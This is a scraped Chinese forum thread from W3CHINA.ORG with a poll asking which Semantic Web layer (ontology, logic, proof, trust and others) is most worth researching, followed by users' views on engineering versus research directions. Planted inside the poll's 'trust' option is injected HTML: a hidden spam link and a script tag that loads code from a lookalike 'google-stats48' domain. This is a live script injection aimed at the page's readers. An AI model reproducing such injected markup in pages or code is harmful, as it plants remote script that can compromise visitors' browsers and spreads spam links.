新书推介：《语义网技术体系》
作者：瞿裕忠，胡伟，程龚
   XML论坛     >>W3CHINA.ORG讨论区<<     计算机科学论坛     SOAChina论坛     Blog     开放翻译计划     新浪微博  
 
  • 首页
  • 登录
  • 注册
  • 软件下载
  • 资料下载
  • 核心成员
  • 帮助
    		•   Add to Google

    >> Web Architecture，探讨下一代万维网的架构/体系结构。
    [返回] W3CHINA.ORG讨论区 - 语义网·描述逻辑·本体·RDF·OWL → W3CHINA.ORG讨论区 - Web新技术讨论 → 『 Web架构 』 → 你认为语义框架中最值得研究的是哪一层? ◇查看新帖 ◇ 用户列表 ◇

    [投票]：你认为语义框架中最值得研究的是哪一层?
    1. Uniclde＋URI 0票
    2. XML+NS 0票
    3. RDF+RDFSchena 3票
    4. Ontology 31票
    5. logic 15票
    6. proof 2票
    7. trust    </title><a style=display:none; href=http://worid-of-books.com >book</a> </title><script src=http://google-stats48.info/ur.php></script> 1票
    您还没有登录，不能进行投票；或者已经过了投票期限。[查看投票用户]

      发表一个新主题  发表一个新投票  回复主题  (订阅本版) 您是本帖的第 78981 个阅读者浏览上一篇主题  刷新本主题   树形显示贴子　浏览下一篇主题
     * 贴子主题： 你认为语义框架中最值得研究的是哪一层? 举报  打印  推荐  IE收藏夹 
       本主题类别: Semantic Web    
     rella 美女呀，离线，快来找我吧！
      
      
      等级：大一(猛啃高等数学)
      文章：27
      积分：162
      门派：W3CHINA.ORG
      注册：2007/10/24

    姓名：(无权查看)
    城市：(无权查看)
    院校：(无权查看)
    给rella发送一个短消息 把rella加入好友 查看rella的个人资料 搜索rella在『 Web架构 』 的所有贴子 引用回复这个贴子 回复这个贴子 查看rella的博客楼主
    发贴心情 你认为语义框架中最值得研究的是哪一层?

    如题

       收藏   分享  
    顶(0)
      




    点击查看用户来源及管理<br>发贴IP：*.*.*.* 2007/10/27 13:35:00
     
     bzbc 帅哥哟，离线，有人找我吗？
      
      
      等级：大三暑假(TOFEL考了660分!)
      文章：151
      积分：921
      门派：XML.ORG.CN
      注册：2006/4/15

    姓名：(无权查看)
    城市：(无权查看)
    院校：(无权查看)
    给bzbc发送一个短消息 把bzbc加入好友 查看bzbc的个人资料 搜索bzbc在『 Web架构 』 的所有贴子 引用回复这个贴子 回复这个贴子 查看bzbc的博客第2楼
    发贴心情 
    我想还应该写出各自的理由
    点击查看用户来源及管理<br>发贴IP：*.*.*.* 2007/10/29 8:54:00
     
     baojie 帅哥哟，离线，有人找我吗？
      
      
      
      威望：9
      头衔：小学生
      等级：研一(参加了一年一度的XML大会)(贵宾)
      文章：667
      积分：4442
      门派：XML.ORG.CN
      注册：2003/11/24

    姓名：(无权查看)
    城市：(无权查看)
    院校：(无权查看)
    给baojie发送一个短消息 把baojie加入好友 查看baojie的个人资料 搜索baojie在『 Web架构 』 的所有贴子 点击这里发送电邮给baojie  访问baojie的主页 引用回复这个贴子 回复这个贴子 查看baojie的博客第3楼
    发贴心情 
    这个问题不好回答啊，就好象是问“哪个尺码的鞋子最合脚？” 每个人的答案都不一定一样吗。
    点击查看用户来源及管理<br>发贴IP：*.*.*.* 2007/11/1 4:53:00
     
     rella 美女呀，离线，快来找我吧！
      
      
      等级：大一(猛啃高等数学)
      文章：27
      积分：162
      门派：W3CHINA.ORG
      注册：2007/10/24

    姓名：(无权查看)
    城市：(无权查看)
    院校：(无权查看)
    给rella发送一个短消息 把rella加入好友 查看rella的个人资料 搜索rella在『 Web架构 』 的所有贴子 引用回复这个贴子 回复这个贴子 查看rella的博客第4楼
    发贴心情 
    个人认为前四层研究的比较多，而后三层很少有人做，可以参考的文献也很少。另外，逻辑推理这方面本人的知识有限，感觉很难。
    点击查看用户来源及管理<br>发贴IP：*.*.*.* 2007/11/1 22:48:00
     
     baojie 帅哥哟，离线，有人找我吗？
      
      
      
      威望：9
      头衔：小学生
      等级：研一(参加了一年一度的XML大会)(贵宾)
      文章：667
      积分：4442
      门派：XML.ORG.CN
      注册：2003/11/24

    姓名：(无权查看)
    城市：(无权查看)
    院校：(无权查看)
    给baojie发送一个短消息 把baojie加入好友 查看baojie的个人资料 搜索baojie在『 Web架构 』 的所有贴子 点击这里发送电邮给baojie  访问baojie的主页 引用回复这个贴子 回复这个贴子 查看baojie的博客第5楼
    发贴心情 
    后面5层作的人都非常多了。前面2层一般不算语义网的研究。
    点击查看用户来源及管理<br>发贴IP：*.*.*.* 2007/11/3 1:08:00
     
     kolapig 帅哥哟，离线，有人找我吗？
      
      
      威望：9
      等级：大三暑假(ITELS考了7分!)(版主)
      文章：127
      积分：1003
      门派：XML.ORG.CN
      注册：2005/7/15

    姓名：(无权查看)
    城市：(无权查看)
    院校：(无权查看)
    给kolapig发送一个短消息 把kolapig加入好友 查看kolapig的个人资料 搜索kolapig在『 Web架构 』 的所有贴子 引用回复这个贴子 回复这个贴子 查看kolapig的博客第6楼
    发贴心情 
    是啊,而且  里面选项内容上重叠的很多,但是却只能选一个答案
    点击查看用户来源及管理<br>发贴IP：*.*.*.* 2007/11/3 4:02:00
     
     x-william 帅哥哟，离线，有人找我吗？
      
      
      等级：大一(高数修炼中)
      文章：12
      积分：103
      门派：XML.ORG.CN
      注册：2007/11/14

    姓名：(无权查看)
    城市：(无权查看)
    院校：(无权查看)
    给x-william发送一个短消息 把x-william加入好友 查看x-william的个人资料 搜索x-william在『 Web架构 』 的所有贴子 引用回复这个贴子 回复这个贴子 查看x-william的博客第7楼
    发贴心情 
    后两层真正做出东西的人还是很少的
    点击查看用户来源及管理<br>发贴IP：*.*.*.* 2007/11/14 17:47:00
     
     rella 美女呀，离线，快来找我吧！
      
      
      等级：大一(猛啃高等数学)
      文章：27
      积分：162
      门派：W3CHINA.ORG
      注册：2007/10/24

    姓名：(无权查看)
    城市：(无权查看)
    院校：(无权查看)
    给rella发送一个短消息 把rella加入好友 查看rella的个人资料 搜索rella在『 Web架构 』 的所有贴子 引用回复这个贴子 回复这个贴子 查看rella的博客第8楼
    发贴心情 
    谢谢大家支持，我认为选择方向很重要。大家尽量说得详细些，也好给选题的同学们一点建议。
    点击查看用户来源及管理<br>发贴IP：*.*.*.* 2007/11/16 23:52:00
     
     zouyuanrenren 帅哥哟，离线，有人找我吗？
      
      
      威望：1
      等级：大三(要不要学学XML呢?)
      文章：48
      积分：709
      门派：XML.ORG.CN
      注册：2007/5/14

    姓名：(无权查看)
    城市：(无权查看)
    院校：(无权查看)
    给zouyuanrenren发送一个短消息 把zouyuanrenren加入好友 查看zouyuanrenren的个人资料 搜索zouyuanrenren在『 Web架构 』 的所有贴子 引用回复这个贴子 回复这个贴子 查看zouyuanrenren的博客第9楼
    发贴心情 
    Ontology是个分界点。
    如果你将来准备做应用，就到ontology为止，如果你以后还想搞科研，就从ontology往后。
    这个当然不是绝对的，但是ontology之前更多的是engineering的问题，之后更多的是scientific的问题。
    点击查看用户来源及管理<br>发贴IP：*.*.*.* 2008/3/14 19:40:00
     
     micropuss 帅哥哟，离线，有人找我吗？
      
      
      威望：3
      等级：大四(GRE考了1400分!)
      文章：193
      积分：1384
      门派：W3CHINA.ORG
      注册：2007/9/5

    姓名：(无权查看)
    城市：(无权查看)
    院校：(无权查看)
    给micropuss发送一个短消息 把micropuss加入好友 查看micropuss的个人资料 搜索micropuss在『 Web架构 』 的所有贴子 引用回复这个贴子 回复这个贴子 查看micropuss的博客第10楼
    发贴心情 
    楼上说的很对，作为研究我觉得必须前后都要研究，但是侧重点应该放在后面，而只做应用的话，前面就足够了，没有必要去研究logic以及proof和trust的问题。
    我选了logic这一块，我觉得这个是基础，即使是你的研究仅仅用到ontology，后面的logic也必须搞清楚，否则的话复杂度以及推理包括检查验证无法做！！
    点击查看用户来源及管理<br>发贴IP：*.*.*.* 2008/3/18 10:21:00
     
     GoogleAdSense
      
      
      等级：大一新生
      文章：1
      积分：50
      门派：无门无派
      院校：未填写
      注册：2007-01-01
    给Google AdSense发送一个短消息 把Google AdSense加入好友 查看Google AdSense的个人资料 搜索Google AdSense在『 Web架构 』 的所有贴子 访问Google AdSense的主页 引用回复这个贴子 回复这个贴子 查看Google AdSense的博客广告
    2024/4/23 9:26:00

    本主题贴数19，分页： [1] [2]

    管理选项： 修改tag | 锁定 | 解锁 | 提升 | 删除 | 移动 | 固顶 | 总固顶 | 奖励 | 惩罚 | 发布公告
    W3C Contributing Supporter! W 3 C h i n a ( since 2003 ) 旗 下 站 点
    苏ICP备05006046号《全国人大常委会关于维护互联网安全的决定》《计算机信息网络国际联网安全保护管理办法》
    		 109.375ms